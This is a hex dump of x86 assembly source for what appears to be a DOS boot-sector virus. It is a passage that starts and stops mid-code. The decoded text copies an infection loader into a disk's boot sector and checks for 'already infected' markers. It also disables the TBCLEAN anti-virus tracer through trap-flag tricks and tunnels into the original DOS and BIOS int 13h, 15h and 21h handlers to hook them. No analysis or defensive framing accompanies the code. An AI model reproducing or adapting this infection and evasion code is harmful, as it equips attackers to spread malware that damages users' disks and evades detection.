|00002270| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 70 6f 70 | | pop|
|00002280| 20 20 20 20 20 64 69 20 | 20 20 20 20 20 20 20 20 | di | |
|00002290| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 62 | | ; b|
|000022a0| 6f 6f 74 20 63 6f 64 65 | 20 70 6f 69 6e 74 65 72 |oot code| pointer|
|000022b0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|000022c0| 20 6d 6f 76 20 20 20 20 | 20 63 78 2c 6c 6f 61 64 | mov | cx,load|
|000022d0| 65 72 5f 73 69 7a 65 0a | 20 20 20 20 20 20 20 20 |er_size.| |
|000022e0| 20 20 20 20 20 20 20 20 | 72 65 70 20 20 20 20 20 | |rep |
|000022f0| 6d 6f 76 73 62 20 20 20 | 20 20 20 20 20 20 20 20 |movsb | |
|00002300| 20 20 20 20 20 20 20 20 | 3b 20 63 6f 70 79 20 6c | |; copy l|
|00002310| 6f 61 64 65 72 20 69 6e | 74 6f 20 62 6f 6f 74 20 |oader in|to boot |
|00002320| 73 65 63 74 0a 20 20 20 | 20 20 20 20 20 20 20 20 |sect. | |
|00002330| 20 20 20 20 20 63 6c 63 | 0a 20 20 20 20 20 20 20 | clc|. |
|00002340| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 | | mov |
|00002350| 20 61 6c 2c 30 0a 20 20 | 20 20 20 20 20 20 20 20 | al,0. | |
|00002360| 20 20 20 20 20 20 6f 72 | 67 20 20 20 20 20 24 20 | or|g $ |
|00002370| 2d 20 31 0a 63 6f 70 79 | 5f 6c 6f 61 64 5f 6e 6f |- 1.copy|_load_no|
|00002380| 3a 20 20 20 73 74 63 0a | 20 20 20 20 20 20 20 20 |: stc.| |
|00002390| 20 20 20 20 20 20 20 20 | 70 6f 70 20 20 20 20 20 | |pop |
|000023a0| 64 78 20 63 78 0a 20 20 | 20 20 20 20 20 20 20 20 |dx cx. | |
|000023b0| 20 20 20 20 20 20 72 65 | 74 6e 20 20 20 0a 20 20 | re|tn . |
|000023c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 0a 3b | | .;|
|000023d0| 3d 3d 3d 3d 3d 28 20 46 | 69 6e 64 20 73 74 61 72 |=====( F|ind star|
|000023e0| 74 20 6f 66 20 62 6f 6f | 74 20 73 65 63 74 6f 72 |t of boo|t sector|
|000023f0| 27 73 20 63 6f 64 65 20 | 29 3d 3d 3d 3d 3d 3d 3d |'s code |)=======|
|00002400| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00002410| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3b 0a 0a 66 |========|====;..f|
|00002420| 69 6e 64 5f 62 6f 6f 74 | 3a 20 20 20 20 20 20 6d |ind_boot|: m|
|00002430| 6f 76 20 20 20 20 20 73 | 69 2c 62 78 0a 20 20 20 |ov s|i,bx. |
|00002440| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 63 6c 64 | | cld|
|00002450| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00002460| 20 6c 6f 64 73 62 20 20 | 20 20 20 20 20 20 20 20 | lodsb | |
|00002470| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002480| 20 3b 20 67 65 74 20 31 | 73 74 20 69 6e 73 74 72 | ; get 1|st instr|
|00002490| 75 63 74 69 6f 6e 0a 20 | 20 20 20 20 20 20 20 20 |uction. | |
|000024a0| 20 20 20 20 20 20 20 70 | 75 73 68 20 20 20 20 61 | p|ush a|
|000024b0| 78 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |x. | |
|000024c0| 20 20 6c 6f 64 73 77 20 | 20 20 20 20 20 20 20 20 | lodsw | |
|000024d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000024e0| 20 20 3b 20 4a 75 6d 70 | 20 64 69 73 70 6c 61 63 | ; Jump| displac|
|000024f0| 65 6d 65 6e 74 20 28 69 | 66 20 6a 75 6d 70 29 0a |ement (i|f jump).|
|00002500| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002510| 78 63 68 67 20 20 20 20 | 63 78 2c 61 78 0a 20 20 |xchg |cx,ax. |
|00002520| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 70 6f | | po|
|00002530| 70 20 20 20 20 20 61 78 | 0a 20 20 20 20 20 20 20 |p ax|. |
|00002540| 20 20 20 20 20 20 20 20 | 20 63 6d 70 20 20 20 20 | | cmp |
|00002550| 20 61 6c 2c 30 65 62 68 | 20 20 20 20 20 20 20 20 | al,0ebh| |
|00002560| 20 20 20 20 20 20 20 20 | 20 3b 20 53 68 6f 72 74 | | ; Short|
|00002570| 20 6a 75 6d 70 3f 0a 20 | 20 20 20 20 20 20 20 20 | jump?. | |
|00002580| 20 20 20 20 20 20 20 6a | 6e 65 20 20 20 20 20 66 | j|ne f|
|00002590| 69 6e 64 5f 62 6f 6f 74 | 5f 6a 75 6d 70 0a 20 20 |ind_boot|_jump. |
|000025a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 78 6f | | xo|
|000025b0| 72 20 20 20 20 20 63 68 | 2c 63 68 20 20 20 20 20 |r ch|,ch |
|000025c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; |
|000025d0| 38 62 69 74 20 6a 75 6d | 70 0a 20 20 20 20 20 20 |8bit jum|p. |
|000025e0| 20 20 20 20 20 20 20 20 | 20 20 64 65 63 20 20 20 | | dec |
|000025f0| 20 20 73 69 0a 20 20 20 | 20 20 20 20 20 20 20 20 | si. | |
|00002600| 20 20 20 20 20 6a 6d 70 | 20 20 20 20 20 66 69 6e | jmp| fin|
|00002610| 64 5f 62 6f 6f 74 5f 61 | 64 64 0a 66 69 6e 64 5f |d_boot_a|dd.find_|
|00002620| 62 6f 6f 74 5f 6a 75 6d | 70 3a 20 63 6d 70 20 20 |boot_jum|p: cmp |
|00002630| 20 20 20 61 6c 2c 30 65 | 39 68 20 20 20 20 20 20 | al,0e|9h |
|00002640| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 4e 65 61 | | ; Nea|
|00002650| 72 20 4a 75 6d 70 3f 0a | 20 20 20 20 20 20 20 20 |r Jump?.| |
|00002660| 20 20 20 20 20 20 20 20 | 6a 65 20 20 20 20 20 20 | |je |
|00002670| 66 69 6e 64 5f 62 6f 6f | 74 5f 61 64 64 0a 66 69 |find_boo|t_add.fi|
|00002680| 6e 64 5f 62 6f 6f 74 5f | 6e 6f 61 64 64 3a 78 6f |nd_boot_|noadd:xo|
|00002690| 72 20 20 20 20 20 63 78 | 2c 63 78 20 20 20 20 20 |r cx|,cx |
|000026a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; |
|000026b0| 4e 6f 20 64 69 73 70 6c | 61 63 65 6d 65 6e 74 0a |No displ|acement.|
|000026c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000026d0| 6d 6f 76 20 20 20 20 20 | 73 69 2c 62 78 0a 66 69 |mov |si,bx.fi|
|000026e0| 6e 64 5f 62 6f 6f 74 5f | 61 64 64 3a 20 20 61 64 |nd_boot_|add: ad|
|000026f0| 64 20 20 20 20 20 73 69 | 2c 63 78 20 20 20 20 20 |d si|,cx |
|00002700| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; |
|00002710| 73 69 3d 73 74 61 72 74 | 20 6f 66 20 62 6f 6f 74 |si=start| of boot|
|00002720| 20 63 6f 64 65 0a 20 20 | 20 20 20 20 20 20 20 20 | code. | |
|00002730| 20 20 20 20 20 20 63 6d | 70 20 20 20 20 20 73 69 | cm|p si|
|00002740| 2c 6f 66 66 73 65 74 20 | 28 64 69 73 6b 5f 62 75 |,offset |(disk_bu|
|00002750| 66 66 2b 32 30 30 68 29 | 20 2d 20 28 6c 6f 61 64 |ff+200h)| - (load|
|00002760| 65 72 5f 73 69 7a 65 20 | 2b 20 35 29 20 0a 20 20 |er_size |+ 5) . |
|00002770| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002780| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002790| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; |
|000027a0| 6a 75 6d 70 20 6f 75 74 | 20 6f 66 20 72 61 6e 67 |jump out| of rang|
|000027b0| 65 3f 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |e?. | |
|000027c0| 20 20 20 6a 6e 62 20 20 | 20 20 20 66 69 6e 64 5f | jnb | find_|
|000027d0| 62 6f 6f 74 5f 6e 6f 61 | 64 64 0a 20 20 20 20 20 |boot_noa|dd. |
|000027e0| 20 20 20 20 20 20 20 20 | 20 20 20 63 6d 70 20 20 | | cmp |
|000027f0| 20 20 20 77 6f 72 64 20 | 70 74 72 20 64 73 3a 5b | word |ptr ds:[|
|00002800| 73 69 5d 2c 30 30 65 38 | 68 20 20 3b 20 43 41 4c |si],00e8|h ; CAL|
|00002810| 4c 20 2d 3e 20 61 6c 72 | 65 61 64 79 20 69 6e 66 |L -> alr|eady inf|
|00002820| 65 63 74 65 64 0a 20 20 | 20 20 20 20 20 20 20 20 |ected. | |
|00002830| 20 20 20 20 20 20 6a 6e | 65 20 20 20 20 20 66 69 | jn|e fi|
|00002840| 6e 64 5f 62 6f 6f 74 5f | 72 65 74 0a 20 20 20 20 |nd_boot_|ret. |
|00002850| 20 20 20 20 20 20 20 20 | 20 20 20 20 63 6d 70 20 | | cmp |
|00002860| 20 20 20 20 77 6f 72 64 | 20 70 74 72 20 64 73 3a | word| ptr ds:|
|00002870| 5b 73 69 2b 32 5d 2c 30 | 62 66 30 30 68 20 3b 20 |[si+2],0|bf00h ; |
|00002880| 30 30 20 4d 4f 56 20 44 | 49 20 2d 3e 20 61 6c 72 |00 MOV D|I -> alr|
|00002890| 65 61 64 79 20 69 6e 66 | 0a 66 69 6e 64 5f 62 6f |eady inf|.find_bo|
|000028a0| 6f 74 5f 72 65 74 3a 20 | 20 72 65 74 6e 0a 0a 3b |ot_ret: | retn..;|
|000028b0| 3d 3d 3d 3d 3d 28 20 44 | 69 73 61 62 6c 65 20 54 |=====( D|isable T|
|000028c0| 42 43 4c 45 41 4e 20 29 | 3d 3d 3d 3d 3d 3d 3d 3d |BCLEAN )|========|
|000028d0| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|000028e0| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|000028f0| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3b 0a 0a 61 |========|====;..a|
|00002900| 6e 74 69 5f 74 62 63 6c | 65 61 6e 3a 20 20 20 78 |nti_tbcl|ean: x|
|00002910| 6f 72 20 20 20 20 20 61 | 78 2c 61 78 0a 20 20 20 |or a|x,ax. |
|00002920| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 70 75 73 | | pus|
|00002930| 68 66 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |hf. | |
|00002940| 20 20 20 70 6f 70 20 20 | 20 20 20 64 78 0a 20 20 | pop | dx. |
|00002950| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 61 6e | | an|
|00002960| 64 20 20 20 20 20 64 68 | 2c 6e 6f 74 20 31 20 20 |d dh|,not 1 |
|00002970| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; |
|00002980| 54 46 20 6f 66 66 0a 20 | 20 20 20 20 20 20 20 20 |TF off. | |
|00002990| 20 20 20 20 20 20 20 70 | 75 73 68 20 20 20 20 64 | p|ush d|
|000029a0| 78 20 64 78 0a 20 20 20 | 20 20 20 20 20 20 20 20 |x dx. | |
|000029b0| 20 20 20 20 20 70 6f 70 | 66 0a 20 20 20 20 20 20 | pop|f. |
|000029c0| 20 20 20 20 20 20 20 20 | 20 20 70 75 73 68 20 20 | | push |
|000029d0| 20 20 73 73 0a 20 20 20 | 20 20 20 20 20 20 20 20 | ss. | |
|000029e0| 20 20 20 20 20 70 6f 70 | 20 20 20 20 20 73 73 0a | pop| ss.|
|000029f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002a00| 70 75 73 68 66 20 20 20 | 20 20 20 20 20 20 20 20 |pushf | |
|00002a10| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002a20| 3b 20 4e 6f 74 20 74 72 | 61 70 70 65 64 0a 20 20 |; Not tr|apped. |
|00002a30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 70 6f | | po|
|00002a40| 70 20 20 20 20 20 64 78 | 0a 20 20 20 20 20 20 20 |p dx|. |
|00002a50| 20 20 20 20 20 20 20 20 | 20 74 65 73 74 20 20 20 | | test |
|00002a60| 20 64 68 2c 31 20 20 20 | 20 20 20 20 20 20 20 20 | dh,1 | |
|00002a70| 20 20 20 20 20 20 20 20 | 20 3b 20 54 46 20 73 65 | | ; TF se|
|00002a80| 74 3f 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |t?. | |
|00002a90| 20 20 20 70 6f 70 20 20 | 20 20 20 64 78 0a 20 20 | pop | dx. |
|00002aa0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6a 65 | | je|
|00002ab0| 20 20 20 20 20 20 61 6e | 74 69 5f 74 62 5f 72 65 | an|ti_tb_re|
|00002ac0| 74 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |t. | |
|00002ad0| 20 20 70 75 73 68 20 20 | 20 20 65 73 0a 20 20 20 | push | es. |
|00002ae0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 78 6f 72 | | xor|
|00002af0| 20 20 20 20 20 62 70 2c | 62 70 0a 20 20 20 20 20 | bp,|bp. |
|00002b00| 20 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 | | mov |
|00002b10| 20 20 20 63 78 2c 73 73 | 0a 20 20 20 20 20 20 20 | cx,ss|. |
|00002b20| 20 20 20 20 20 20 20 20 | 20 63 6c 69 0a 20 20 20 | | cli. |
|00002b30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 | | mov|
|00002b40| 20 20 20 20 20 73 73 2c | 62 70 20 20 20 20 20 20 | ss,|bp |
|00002b50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 73 | | ; s|
|00002b60| 65 67 6d 65 6e 74 20 30 | 0a 20 20 20 20 20 20 20 |egment 0|. |
|00002b70| 20 20 20 20 20 20 20 20 | 20 6c 65 73 20 20 20 20 | | les |
|00002b80| 20 64 69 2c 73 73 3a 5b | 62 70 2b 31 68 2a 34 68 | di,ss:[|bp+1h*4h|
|00002b90| 5d 20 20 20 20 20 20 20 | 20 3b 20 61 64 64 72 65 |] | ; addre|
|00002ba0| 73 73 20 6f 66 20 69 6e | 74 20 31 68 0a 20 20 20 |ss of in|t 1h. |
|00002bb0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 | | mov|
|00002bc0| 20 20 20 20 20 73 73 2c | 63 78 0a 20 20 20 20 20 | ss,|cx. |
|00002bd0| 20 20 20 20 20 20 20 20 | 20 20 20 73 74 69 0a 20 | | sti. |
|00002be0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6d | | m|
|00002bf0| 6f 76 20 20 20 20 20 61 | 6c 2c 30 63 66 68 0a 20 |ov a|l,0cfh. |
|00002c00| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 63 | | c|
|00002c10| 6c 64 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |ld. | |
|00002c20| 20 20 20 73 74 6f 73 62 | 20 20 20 20 20 20 20 20 | stosb| |
|00002c30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002c40| 20 20 20 3b 20 49 52 45 | 54 20 2d 3e 20 49 6e 74 | ; IRE|T -> Int|
|00002c50| 20 31 68 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 | 1h. | |
|00002c60| 20 20 20 20 70 6f 70 20 | 20 20 20 20 65 73 0a 20 | pop | es. |
|00002c70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 70 | | p|
|00002c80| 75 73 68 20 20 20 20 64 | 78 0a 20 20 20 20 20 20 |ush d|x. |
|00002c90| 20 20 20 20 20 20 20 20 | 20 20 70 6f 70 66 0a 61 | | popf.a|
|00002ca0| 6e 74 69 5f 74 62 5f 72 | 65 74 3a 20 20 20 20 78 |nti_tb_r|et: x|
|00002cb0| 63 68 67 20 20 20 20 62 | 70 2c 61 78 20 20 20 20 |chg b|p,ax |
|00002cc0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;|
|00002cd0| 20 73 61 76 65 20 72 65 | 73 75 6c 74 0a 20 20 20 | save re|sult. |
|00002ce0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 72 65 74 | | ret|
|00002cf0| 6e 0a 0a 3b 3d 3d 3d 3d | 3d 28 20 53 77 61 70 20 |n..;====|=( Swap |
|00002d00| 6a 75 6d 70 20 69 6e 74 | 6f 20 44 4f 53 27 20 69 |jump int|o DOS' i|
|00002d10| 6e 74 20 31 33 68 20 29 | 3d 3d 3d 3d 3d 3d 3d 3d |nt 13h )|========|
|00002d20| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00002d30| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00002d40| 3b 0a 0a 73 77 61 70 5f | 31 33 3a 20 20 20 20 20 |;..swap_|13: |
|00002d50| 20 20 20 63 61 6c 6c 20 | 20 20 20 70 75 73 68 5f | call | push_|
|00002d60| 61 6c 6c 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |all. | |
|00002d70| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 73 69 2c 6f | mov | si,o|
|00002d80| 66 66 73 65 74 20 6a 75 | 6d 70 5f 63 6f 64 65 5f |ffset ju|mp_code_|
|00002d90| 31 33 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |13. | |
|00002da0| 20 20 20 6c 65 73 20 20 | 20 20 20 64 69 2c 63 73 | les | di,cs|
|00002db0| 3a 5b 73 69 2b 64 6f 73 | 5f 31 33 2d 6a 75 6d 70 |:[si+dos|_13-jump|
|00002dc0| 5f 63 6f 64 65 5f 31 33 | 5d 20 20 3b 20 67 65 74 |_code_13|] ; get|
|00002dd0| 20 61 64 64 72 65 73 73 | 20 69 6e 20 44 4f 53 0a | address| in DOS.|
|00002de0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002df0| 6a 6d 70 20 20 20 20 20 | 73 77 61 70 5f 63 6f 64 |jmp |swap_cod|
|00002e00| 65 0a 0a 3b 3d 3d 3d 3d | 3d 28 20 53 77 61 70 20 |e..;====|=( Swap |
|00002e10| 6a 75 6d 70 20 69 6e 74 | 6f 20 44 4f 53 27 20 69 |jump int|o DOS' i|
|00002e20| 6e 74 20 32 31 68 20 29 | 3d 3d 3d 3d 3d 3d 3d 3d |nt 21h )|========|
|00002e30| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00002e40| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00002e50| 3b 0a 0a 73 77 61 70 5f | 32 31 3a 20 20 20 20 20 |;..swap_|21: |
|00002e60| 20 20 20 63 61 6c 6c 20 | 20 20 20 70 75 73 68 5f | call | push_|
|00002e70| 61 6c 6c 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |all. | |
|00002e80| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 73 69 2c 6f | mov | si,o|
|00002e90| 66 66 73 65 74 20 6a 75 | 6d 70 5f 63 6f 64 65 5f |ffset ju|mp_code_|
|00002ea0| 32 31 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |21. | |
|00002eb0| 20 20 20 6c 65 73 20 20 | 20 20 20 64 69 2c 63 73 | les | di,cs|
|00002ec0| 3a 5b 73 69 2b 69 6e 74 | 5f 32 31 2d 6a 75 6d 70 |:[si+int|_21-jump|
|00002ed0| 5f 63 6f 64 65 5f 32 31 | 5d 0a 73 77 61 70 5f 63 |_code_21|].swap_c|
|00002ee0| 6f 64 65 3a 20 20 20 20 | 20 20 70 75 73 68 20 20 |ode: | push |
|00002ef0| 20 20 63 73 0a 20 20 20 | 20 20 20 20 20 20 20 20 | cs. | |
|00002f00| 20 20 20 20 20 70 6f 70 | 20 20 20 20 20 64 73 0a | pop| ds.|
|00002f10| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002f20| 6d 6f 76 20 20 20 20 20 | 63 78 2c 35 0a 20 20 20 |mov |cx,5. |
|00002f30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 63 6d 70 | | cmp|
|00002f40| 20 20 20 20 20 64 73 3a | 6f 72 69 67 69 6e 2c 63 | ds:|origin,c|
|00002f50| 68 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 30 |h | ; 0|
|00002f60| 20 2d 3e 20 42 6f 6f 74 | 20 6f 72 69 67 69 6e 2c | -> Boot| origin,|
|00002f70| 20 6e 6f 20 74 75 6e 6e | 65 6c 0a 20 20 20 20 20 | no tunn|el. |
|00002f80| 20 20 20 20 20 20 20 20 | 20 20 20 6a 65 20 20 20 | | je |
|00002f90| 20 20 20 73 77 61 70 5f | 65 6e 64 0a 20 20 20 20 | swap_|end. |
|00002fa0| 20 20 20 20 20 20 20 20 | 20 20 20 20 63 6c 64 0a | | cld.|
|00002fb0| 73 77 61 70 5f 6c 6f 6f | 70 3a 20 20 20 20 20 20 |swap_loo|p: |
|00002fc0| 6c 6f 64 73 62 0a 20 20 | 20 20 20 20 20 20 20 20 |lodsb. | |
|00002fd0| 20 20 20 20 20 20 78 63 | 68 67 20 20 20 20 61 6c | xc|hg al|
|00002fe0| 2c 65 73 3a 5b 64 69 5d | 0a 20 20 20 20 20 20 20 |,es:[di]|. |
|00002ff0| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 | | mov |
|00003000| 20 64 73 3a 5b 73 69 2d | 31 5d 2c 61 6c 0a 20 20 | ds:[si-|1],al. |
|00003010| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 69 6e | | in|
|00003020| 63 20 20 20 20 20 64 69 | 0a 20 20 20 20 20 20 20 |c di|. |
|00003030| 20 20 20 20 20 20 20 20 | 20 6c 6f 6f 70 20 20 20 | | loop |
|00003040| 20 73 77 61 70 5f 6c 6f | 6f 70 0a 73 77 61 70 5f | swap_lo|op.swap_|
|00003050| 65 6e 64 3a 20 20 20 20 | 20 20 20 63 61 6c 6c 20 |end: | call |
|00003060| 20 20 20 70 6f 70 5f 61 | 6c 6c 0a 20 20 20 20 20 | pop_a|ll. |
|00003070| 20 20 20 20 20 20 20 20 | 20 20 20 72 65 74 6e 0a | | retn.|
|00003080| 0a 3b 3d 3d 3d 3d 3d 28 | 20 46 69 6e 64 20 6f 72 |.;=====(| Find or|
|00003090| 69 67 69 6e 61 6c 20 69 | 6e 74 65 72 72 75 70 74 |iginal i|nterrupt|
|000030a0| 20 65 6e 74 72 79 20 70 | 6f 69 6e 74 73 20 29 3d | entry p|oints )=|
|000030b0| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|000030c0| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3b 0a |========|======;.|
|000030d0| 0a 66 69 6e 64 5f 69 6e | 74 73 3a 20 20 20 20 20 |.find_in|ts: |
|000030e0| 20 63 61 6c 6c 20 20 20 | 20 63 6f 70 79 5f 69 6e | call | copy_in|
|000030f0| 74 73 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |ts | |
|00003100| 20 3b 20 67 65 74 20 69 | 6e 74 65 72 72 75 70 74 | ; get i|nterrupt|
|00003110| 20 61 64 64 72 65 73 73 | 65 73 0a 20 20 20 20 20 | address|es. |
|00003120| 20 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 | | mov |
|00003130| 20 20 20 61 68 2c 35 32 | 68 0a 20 20 20 20 20 20 | ah,52|h. |
|00003140| 20 20 20 20 20 20 20 20 | 20 20 69 6e 74 20 20 20 | | int |
|00003150| 20 20 32 31 68 0a 20 20 | 20 20 20 20 20 20 20 20 | 21h. | |
|00003160| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 61 78 | mo|v ax|
|00003170| 2c 65 73 3a 5b 62 78 2d | 32 5d 0a 20 20 20 20 20 |,es:[bx-|2]. |
|00003180| 20 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 | | mov |
|00003190| 20 20 20 64 73 3a 64 6f | 73 5f 73 65 67 2c 61 78 | ds:do|s_seg,ax|
|000031a0| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 31 73 74 | | ; 1st|
|000031b0| 20 4d 43 42 20 73 65 67 | 6d 65 6e 74 0a 20 20 20 | MCB seg|ment. |
|000031c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 | | mov|
|000031d0| 20 20 20 20 20 61 6c 2c | 31 68 0a 20 20 20 20 20 | al,|1h. |
|000031e0| 20 20 20 20 20 20 20 20 | 20 20 20 63 61 6c 6c 20 | | call |
|000031f0| 20 20 20 67 65 74 5f 69 | 6e 74 20 20 20 20 20 20 | get_i|nt |
|00003200| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 67 65 74 | | ; get|
|00003210| 20 61 64 64 72 65 73 73 | 20 6f 66 20 69 6e 74 20 | address| of int |
|00003220| 31 68 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |1h. | |
|00003230| 20 20 20 70 75 73 68 20 | 20 20 20 62 78 20 65 73 | push | bx es|
|00003240| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00003250| 20 6d 6f 76 20 20 20 20 | 20 64 78 2c 6f 66 66 73 | mov | dx,offs|
|00003260| 65 74 20 74 72 61 63 65 | 72 0a 20 20 20 20 20 20 |et trace|r. |
|00003270| 20 20 20 20 20 20 20 20 | 20 20 63 61 6c 6c 20 20 | | call |
|00003280| 20 20 73 65 74 5f 69 6e | 74 20 20 20 20 20 20 20 | set_in|t |
|00003290| 20 20 20 20 20 20 20 20 | 20 20 3b 20 68 6f 6f 6b | | ; hook|
|000032a0| 20 69 6e 74 20 31 68 0a | 20 20 20 20 20 20 20 20 | int 1h.| |
|000032b0| 20 20 20 20 20 20 20 20 | 70 75 73 68 66 0a 20 20 | |pushf. |
|000032c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 70 6f | | po|
|000032d0| 70 20 20 20 20 20 73 69 | 0a 20 20 20 20 20 20 20 |p si|. |
|000032e0| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 | | mov |
|000032f0| 20 64 69 2c 6f 66 66 73 | 65 74 20 74 72 61 63 65 | di,offs|et trace|
|00003300| 5f 6d 6f 64 65 0a 20 20 | 20 20 20 20 20 20 20 20 |_mode. | |
|00003310| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 62 79 | mo|v by|
|00003320| 74 65 20 70 74 72 20 64 | 73 3a 5b 64 69 5d 2c 66 |te ptr d|s:[di],f|
|00003330| 69 6e 64 5f 64 6f 73 5f | 31 33 20 20 3b 20 66 69 |ind_dos_|13 ; fi|
|00003340| 6e 64 20 69 6e 74 20 31 | 33 68 20 69 6e 20 44 4f |nd int 1|3h in DO|
|00003350| 53 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |S. | |
|00003360| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003370| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003380| 20 20 20 20 20 20 20 20 | 3b 20 61 6e 64 20 42 49 | |; and BI|
|00003390| 4f 53 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |OS. | |
|000033a0| 20 20 20 6d 6f 76 20 20 | 20 20 20 61 68 2c 31 68 | mov | ah,1h|
|000033b0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|000033c0| 20 63 61 6c 6c 20 20 20 | 20 73 69 5f 74 66 20 20 | call | si_tf |
|000033d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000033e0| 20 3b 20 73 65 74 20 54 | 46 0a 20 20 20 20 20 20 | ; set T|F. |
|000033f0| 20 20 20 20 20 20 20 20 | 20 20 63 61 6c 6c 20 20 | | call |
|00003400| 20 20 63 61 6c 6c 5f 31 | 33 0a 20 20 20 20 20 20 | call_1|3. |
|00003410| 20 20 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 | | mov |
|00003420| 20 20 62 79 74 65 20 70 | 74 72 20 64 73 3a 5b 64 | byte p|tr ds:[d|
|00003430| 69 5d 2c 66 69 6e 64 5f | 31 35 20 3b 20 66 69 6e |i],find_|15 ; fin|
|00003440| 64 20 69 6e 74 20 31 35 | 68 20 69 6e 20 42 49 4f |d int 15|h in BIO|
|00003450| 53 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |S. | |
